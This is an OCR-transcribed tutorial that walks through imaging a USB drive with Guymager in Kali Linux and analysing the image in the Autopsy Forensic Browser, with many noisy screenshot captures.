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‘ile Machine View Input Devices Help

kali@kali: ~
File Actions Edit View Help

:~$ sudo su

e trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:

#1) Respect the privacy of others.

#2) Think before you type.

#3) With great power comes great responsibility.
[sudo] password for kali: &
roota@kali:/home/kalif# guymager

sing default log file name /var/log/guymager.logQStandar DS TERIAcEG by 8 Dica SPISN) SCreen

sing default cfg file name /etc/guymager/guymager.cfgl

guymager

Creating data structures

The Guymager is used to obtain the Disk image file to be analyse.

THT  VIGUINNE  VIEW  HIPUL UGVILEY MG

U ] % GUYMAGERO0.8.8

File Actions Edit View Help

:~$ sudo su

We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:

#1) Respect the nrivarv nf atharc

#2) Think | GUYMAGER0.8.8
#3) With g Devices Misc Help
[sudo] passwor: Rescan
rootakali:/hom

5 3 2 Average
i £ Serial R Linux " Hidden Bad
Using default i divice Model State Size it Eiore Progress ls'::?:]

LM LI Voccagesb-2cechie0 /devisda  VBOX_HARDDISK () ldle 85.9G8  unknown

Size 1,073,741,824 bytes (1.00GiB / 1.07GB)
Sector size 512

Image file

Info file

Current speed

Started

Hash calculation

Source verification

Image verification

Step 6: Select the attached USB drive and right click to check properties as
shown below:
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File Machine View Input Devices Help

File Actions Edit View Help

:~$ sudo su

We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:

#1) Respect tha nrivacyv af atharc
#2) Think | GUYMAGER 0.8.8
#3) With g

Devices Misc Help

[sudo] passwor: TN
rootakali:/hom

. 5 2 Average
3 Serial i Linux = Hidden Bad

Using default ks device Model State Size reRs Sactos Progress [smm

R VBscc3gesb-2cechled [devisda  VBOX_HARDDISK () idle 85.9G8  unknown

Acquire image

Clone device

Info

Size 1,073,741,824 bytes (1.00GiB / 1.07GB)
Sector size 512

Image file

Info file

Current speed

Started

Hash calculation

Source verification

Image verification

Step 7: Click on Acquire image. A new window popup, enter the necessary
information as shown in the screenshot below:

48



] i Kali-Linux-2020.1-vbox-amd64 [Running] - Oracle VM VirtualBox

File Machine View Input Devices Help

VIS | oam )| ([(.])

& GUYMAGERO0.8.8

File Actions Edit View Help Acquire image of /dev/sdb
:~$ sudo su File format

We trust you have received the usual lect Linux dd raw image (file extension .dd or .xxx)
Administrator. It usually boils down to t

o Expert Witness Format, sub-format Guymager (file extension .Exx) | Split size 2047

#1) Respect the nrivaryv af atharc
#2) Think | Case number

#3) With g Devices Misc Help Evidence number

[sudo] passwor: PRI Bxaminer
rootakali:/hom

= [ Description
Using default Serial - Li
nr. de Notes VBb5573156-2a9b5433
R LNl \5occasesh-2cech3e0  [dev/d [
Destination

VBbS5573156-2a9b5433 |/dev/s II
Image directory /

Image filename (without extension)

Info filename (without extension)

Hash calculation / verification

v Calculate MD5 Calculate SHA-1 Calculate SHA-256
Re-read source after acquisition for verification (takes twice as long)

v Verify image after acquisition (takes twice as long)
Size 1,073,741,

Sector size 512

Image file

Info file Cancel
Current speed
Started

Hash calculation
Source verification
Image verification

Step 8: Select the Linus dd
Step 9: Uncheck “split image file”

Step 10: Click on image directory to select tmt folder as shown on the
screenshot below:
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File Machine View Input Devices

OO (]| ([ | ¢ kali: ~ B GUYMAGERO0.8.8

File Actions Edit View Help

:~$ sudo su Select destination directory

e trust you have received the usual lect

Administrator. It usually boils down to t [§ JRCEIGE B/ -0 00 RKREME
#1) Respect the nrivaru nf atharc & computer _ Name Type Date Modified  *
#2) Think | B root fH livea Folder  1/27/2...:40 PM
#3) with g 3 libx32 Folder  1/27/2..:37PM
e Devices Misc Hel,
Devi SechHep 8 lost+found Folder  1/27/2...:37 PM
[sudo] passwor« SELESET 8 media Folder  1/27/2..:37PM
rootakali:/hom B mnt Folder 1/27/2...:37 PM
i H . Average
Using default Serial Li 5 opt Folder  1/27/2...:37PM ‘p“g
nr. de & proc Folder  5/2/20 2:01 PM [MB/s]
' 8 root Folder  5/2/20 2:03 PM
Using default | i e PNt WA TR & run oder B0 09
VBb5573156-2a9b5433 f8 sbin Folder  1/27/2..:52 PM l_
B sov Folder  1/27/2...:47 PM
= sys Folder  5/2/20 2:01 PM
&= i Folder
Folder

Folder 1/27/2....42 PM

Directory:  tmp | wichoose |

Files of type: X Cancel

v Verify image after acquisition (takes twice as long)
Size 1,073,741,

Sector size 512

Image file

Info file Cancel
Current speed

Step 11: Enter the Image file name
Step 12: Click start button

The screenshot is shown below:

View Input Devices Help
) mg | (=] # GUYMAGERO0.8.8

File Machine

File Actions Edit View Help Acquire image of /dev/sdb

$ sudo su File format

We trust you have received the usual lect ® Linux dd raw image (file extension .dd or .xxx)
Administrator. It usually boils down to 1

Split image files

Expert Witness Format, sub-format Guymager (file extension .Exx)

#1) Respect the nrivarv af athars
#2) Think |
SRR Devices Misc Help
[sudo] passwor: Rescan
rootakali:/hom

Using default Serial o Lil
nr. de

R A Al VBscc28esb-2cech3e0  [dev/d
Destination

VBb5573156-2a9b5433 m .I
Image directory ftmp/

Image filename (without extension) |U$8Img01

Info filename (without extension) USBImg01

Hash calculation / verification

v Calculate MD5 Calculate SHA-1 Calculate SHA-256
Re-read source after acquisition for verification (takes twice as long)

Vv Verify image after acquisition (takes twice as long)
Size 1,073,741,

Sector size 512

Image file

Info file Cancel Duplicate image... Start

Current speed

k.

The Disk image acquisition will be running as seen | the screenshot below:
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File  Machine View Input Uevices Help

B om]=s| [ kali@kali: ~ # GUYMAGER0.8.8

File Actions Edit View Help
:~$ sudo su

We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:

#1) Respect tha nrivarv af nthare

#2) Think | GUYMAGER0.8.8
#3) With g Devices Misc Help
[sudo] passwor: JEEETEIeTS
rootakali:/hom
Z A R Average
Using default Serial R Linux Hidden Bad
g u i device Model State Size Sreis sactons Progress [sl:;/s]

R e LI Bacc38esb-2cech3e0  fdev/sda  VBOX_HARDDISK () ldle 85968  unknown

7%

‘4

Size 1,073,741,824 bytes (1.00GiB / 1.07GB)

Sector size 512

Image file /tmp/USBImg01.dd

Info file /tmp/USBImgOl.info Y
Current speed 50.42 MB/s

Started 2. May 14:03:57 (00:00:02)

Hash calculation  MDS
Source verification off
Imaae verification on

Please wait till the capture will be complete

Step 13: Click on the Open folder file at the top right corner of Kali desktop

Step 14: Navigate to the file system, and click on tmt folder
Step 15: Select the image files and image information and click on Open
| ﬁKali»Linux-ZOZO.l~vbox‘amd64 [Running] - Oracle VM VirtualBox o [m] X

File Machine View Input Devices Help
B GUYMAGERO0.8.8 tmp - File Manager Terminal - 02:04PM O A D & C
Terminal -

Terminal Tabs Help

DEVICES

EF'.(» Y

Version : 0.8.8-3+b2 PLACES
Compilation timestamp: 2019-12-03-00.42.20 . kal
Compiled with 1 gee 9.2.1 20191130

libewf version : 20140807 (not used as Guymager is configured to use its o
wn EWF module) NETWORK

libguytools version : 2.0.5

Host name : kali ¥
USBImgOL.info

Domain name : (none)

System : Linux kali 5.4.0-kali3-amd64 #1 SMP Debian 5.4.13-1kalil

(2020-01-20) x86_64
*/tmp/USBImgO1.info" [readonly][dos] 136L, 6329C ,0-1 Top

Go down to take a look at the MD5 Hash file of the selected image file and image
Information. Copy this MD5 hash. It will be part of the report to be used.
Also remember the path used to obtain the MD5 hash.
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Step 16: Go back to the command prompt
You can close the Guymager apps

Step 17: At the command prompt, type Autopsy and press Enter. The result is
as shown in the screenshot below:

rootakali:/home/kali#
rootakali:/home/kali#
rootakali:/home/kali#
rootakali:/home/kali# autopsy

Autopsy Forensic Browser
http://wew.sleuthkit.org/autopsy/
ver 2.24

Evidence Locker: /var/lib/autopsy
Start Time: Sat May 2 14:06:17 2020
Remote Host: localhost

Local Port: 9999

Open an HTML browser on the remote host and paste this URL in it:
http://localhost:9999/Butopsy

Keep this process running and use <ctrl-c> to exit

Step 18: Right-click on the link http://localhost:9999/autopsy

The open link will appear as shown on the screenshot below:

F;Ie Machine View Input Devices Help

VIS e s E’ ® Autopsy Forensic Brows... kali@kali: ~ 02:06 PM O

Autopsy Forensic Browser - Mozilla Firefox

73 Autopsy Forensic Brow: X +

c @ ) localhost:9999/autopsy

Kali Linux Kali Training Kali Tools @ Kali Docs Kali Forums NetHunter Offensive Security ¢ Exploit-DB & GHDB J| MSFU

' WARNING: Your browser currently has Java Script enabled.

{ You do not need Java Script to use Autopsy and it is recommended that it be turned off for security reasons.

Autopsy Forensic Browser 2.24

OPEN CAsE New Case HewLr

Step 19: Click on Create a New Case
The new case window will be displayed like this:
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http://localhost:9999/autopsy

File Machine View Input Devices Help

ml s Ii' ® Create A New Case - Mo. kali@kali: -

Create ANew Case - Mozilla Firefox

/3 Create A New Case +

< cC ® D locathost

Kali Linux Kali Training Kali Tools @ Kali Docs Kali Forums NetHunter Offensive Security « Exploit-DB GHDB | MSFU

CREATE A NEw CASE

1. Case Name: The name of this investigation. It can contain only letters,
numbers, and symbols.

2. Description: An optional, one line description of this case.

3. Investigator Names:kl'he optional names (with no spaces) of the
investigators for this case.

a. b.

c. d.

e. it

9. h

5 43 )
Step 20: Enter the Case Name, Description, and investigator names:
Step 21: Click New Case as shown in the screenshot below:

File Machine View Input Devices Help

| (] = | Iil ®» Creating Case:2020-01 .. kali@kati: -

Creating Case: 2020-01 - Mo|

73 Creating Case: 2020-01 X +

& C i) localhost

Kali Linux Kali Training Kali Tools # Kali Docs Kali Forums NetHunter Offens

Creating Case: 2020-01
Case directory (/var/lib/autopsy/2020-81/) created
Configuration file (/var/lib/autopsy/2020-01/case.aut) created

We must now create a host for this case.

Please select your name from the list: TKentopp v

ADD HosT
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Step 22: Click at “Add Host” This will automatically assigned a hostname
Step 23: Next window, click on Add Image

The next window appear like this on the screenshot below:

bile Machine View Input Uevices Help

| I8 1= ] ,.‘[ E] ® Open Image In 2020-01:. kali@kali: ~ 02:07PM O

Open Image In 2020-01:host1 - Mozilla Firefox

#d Openimage In2020-01 X +

“— c o i) localhost

Kali Linux Kali Training Kali Tools @ Kali Docs Kali Forums NetHunter Offensive Security « Exploit-DB GHDB | MSFU
Case: 2020-01
Host: hostl

No images have been added to this host yet

Select the Add Image File button below to add one

k Aool:::an_: CLose HosT
Step 24: Click on Add Image file
Step 25: Click on the Location of image file using the link to the image as

shown below:

Case: 2020-01
Host: host1
ADD A NEW IMAGE

1. Location

Enter the full path (starting with /) to the image file.

If the image is split (either raw or EnCase), then enter * for the
extension.

/tmp/USBImgO01.dd

2. Type
Please select if this image file is for a disk or a single partition.
O Disk Partition

3. Import Method

To analyze the image file, it must be located in the evidence locker. It can
be imported from its current location using a symbolic link, by copying it,
or by moving it. Note that if a system failure occurs during the move,
then the image could become corrupt.

Symlink & copy Move
[ |
‘!
Step 26: Click Next
Step 27: Step use your mouse pointer to check Calculate the hash value of

this image
Step 28: Click at the Add button
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c ® U localhost

Kali Linux Kali Training KaliTools * Kali Docs Kali Forums NetHunter Offensive Security « Exploit-DB GHDB || MSFU

Image File Details

Local Name: images/USBImg01.dd

Data Integrity: An MD5 hash can be used to verify the integrity of the
image. (With split images, this hash is for the full image file)

Ignore the hash value for this image.
0 calculate the hash value for this image.
Add the following MD5 hash value for this image:

Verify hash after importing?
File System Details

Analysis of the image file shows the following partitions:

Partition 1 (Type: NTFS / exFAT (0x07))
Sector Range: 128 to 2091135

Mount Point: C: File System Type: ntfs v

Ao CANCEL HeLp

The MD5 hash will be calculated to verify that the data is not corrupted. The
computed MD5 hash is shown in the screenshot below:

S s E] ® AddanewimagetoanA.. [ kali@kali: -

Add a new image to an Autopsy Case - Mozilla Firefox

73 Addanewimagetoan/ X +

= c @ i) localhost
Kali Linux Kali Training Kali Tools # Kali Docs Kali Forums NetHunter Offensive Security < Exploit-DB GHDB [| MSFU

|
Calculating MDS5 (this could take a while)
! Current MD5:

| Testing partitions
Copying image(s) into evidence locker (this could take a little while)
Image file added with ID img1 N
Disk image (type dos) added with ID vol1 ‘
Volume image (128 to 2091135 - ntfs - C:) added with ID ve12

OK ADD IMAGE

Step 29: Click Ok

At this point, you will see the below screen window as shown below:
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'3 Openimage In2020-01 X +

“— G @ i) localhost
Kali Linux Kali Training Kali Tools # Kali Docs Kali Forums NetHunter Offensive Security « Exploit-DB GHDB f| MSFU
Case: 2020-01
Host: hostl
Select a volume to analyze or add a new image file.
CASE GALLERY HOST GALLERY HOST MANAGER
(O
mount name fs type
O disk USBInge1.dd-disk raw details
c:/ USBImgo1.dd-128-2091135 ntfs details
k
ANALYZE ADD IMAGE FILE CLose HosT
HELP
FILE ACTiVITY TIME LINES IMAGE INTEGRITY HASH DATABASES
VIEW NOTES EVENT SEQUENCER
Step 30: To analyse the disk image, check on c:/
Step 31: Next Click on Analyse
File Machine View Input Devices Help

* 2020-01:t kali@kali: ~

nmOs|[» |

a8 2020-01:host1:vol2 +

2020-01:hostl:vol2 - Mozilla Firefox

< ¢ o D localhost

Kali Tools » Kali Docs NetHunter
FILE ANALYSIS  KEYWORD SEARCH FILETYPE

GHDB
DATA UNIT

Kali Linux Kali Training Kali Forums Offensive Security < Exploit-DB i MSFU

IMAGE DETALS META DATA

To start analyzing this volume, choose an analysis mode from the tabs above.

Step 32:

At this point, you can click at the File Analyse icon o top

c @

Kali Linux

i) localhost

Kali Tools # Kali Docs NetHunter < Exploit-DB GHDB | MSFU
FILE ANALYSIS  KEYWORD SEARCH FILETYPE IMAGE DETARS META DATA DATA UNIT HeLr  CLose

O ? X

Kali Training Kali Forums Offensive Security

dir/in
Error Parsing File (Invalid Characters?):
V/V 256: $OrphanFiles 0000-00-00 00:00:00 (UTC) 0000-00-00
00:00:00 (UTC) 0000-00-00 00:00:00 (UTC) 0000-00-00 00:00:00 (UTC)
000

Directory Seek

Enter the name of
a directory that

fou want to view. r/r  SAttedef 2020-04-20 2020-04-20 2020-04-20 2020-04-20 2560 0 0 41281
&b 08:19:28 (EDT) 08:19:28 (EDT) 08:19:28 (EDT) 08:19:28 (EDT)
r/r  $8adClus 2020-04-20 2020-04-20 2020-04-20 2020-04-20 0 0 0 81282
08:19:28 (EDT) 08:19:28 (EDT) 08:19:28 (EDT) 08:19:28 (EDT)
ViEw r/r  $BadClus:sBad 2020-04-20 2020-04-20 2020-04-20 2020-04-20 1070592000 0 0  8-128-1
r 08:19:28 (EDT) 08:19:28 (EDT) 08:19:28 (EDT) 08:19:28 (EDT)
File Name r/r SBitmap 2020-04-20 2020-04-20 2020-04-20 2020-04-20 32672 0 0 6128
oo o N e AR S e 0y ST G Ay g A S
Enter a Perl
ar
axpression for the File Browsing Mode
file names you
want to find.
In this mode, you can view file and directory contents.
File contents will be shown in this window.
Step 33: Screw down and look at all the directories been analyse
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Step 34: Click on View the txt file and Select Meta data

/3 2020-01:host1:vol2

&« ¢ @ D localhost

Kali Linux Kali Training Kali Tools # Kali Docs Kali Forums NetHunter Offensive Security « Exploit-DB GHDB f| MSFU
FILE ANALYSIS  KEYWORD SEARCH FILETYPE IMAGE DETARS META DATA DATA UNIT HeLr  CLOSE

U ? X
MFT Entry Number: 4=Previous NExT -
242-128-1 REPORT VIEW CONTENTS = EXPORT CONTENTS.  ADD NoOTE
Pointed to by file:
e C://Board Presentation, 1 April 2019.txt
File Type:
ALLOCATION LIST ERROR:[gzip: Exec "gzip' failed, No such file or directory] (Microsoft Excel 2007+)

MD5 of content:
946ca78917452b771288146452¢05822 -

SHA 1 of content:
03d0cc35be3f800861 -

Details:

MFT Entry Header Values:

Entry: 242 Sequence: 1

$LogFile Sequence Number: 2186061
Allocated File

Links: 1

$STANDARD_INFORMATION Attribute Values:

Flags: Hidden, Archive

Owner ID: 0

Security ID: 264 (S-1-5-21-988996803-3034228483-2269549209-1000)
Created 2020 04 20 08 20 20 786116000 (ED’I‘)

ey Dt N A =d

Step 35: Click on “Export content”
Step 36: Click on Directories to view its contents for analyses.
Capture as much information as needed.

Step 37: Click at Close or Exit Autopsy When you are done with all the
analysis required.

Conclusion:
Once the analysis is complete, Autopsy allows you to generate detailed forensic
reports. These reports can be exported in various formats such as HTML, PDF, or
Excel for documentation and presentation.

1. Click Generate Report.

2. Choose the format of the report and which artifacts and findings you want to

include (e.qg., file lists, search results, web history).

3. Export the report to the desired location.
After completing the investigation, all evidence, bookmarks, and analysis will remain
stored in the case directory for future reference. Be sure to securely store the case
directory, and create backups as necessary for the preservation of evidence.
To learn more on the use of Autopsy in Kali Linus, Please click on the YouTube links
to watch the video. You may copy and paste the links on your web browser.

https://www.youtube.com/watch?v=9AviRITI9HI
https://www.youtube.com/watch?v=HNJuQyWJhwqg
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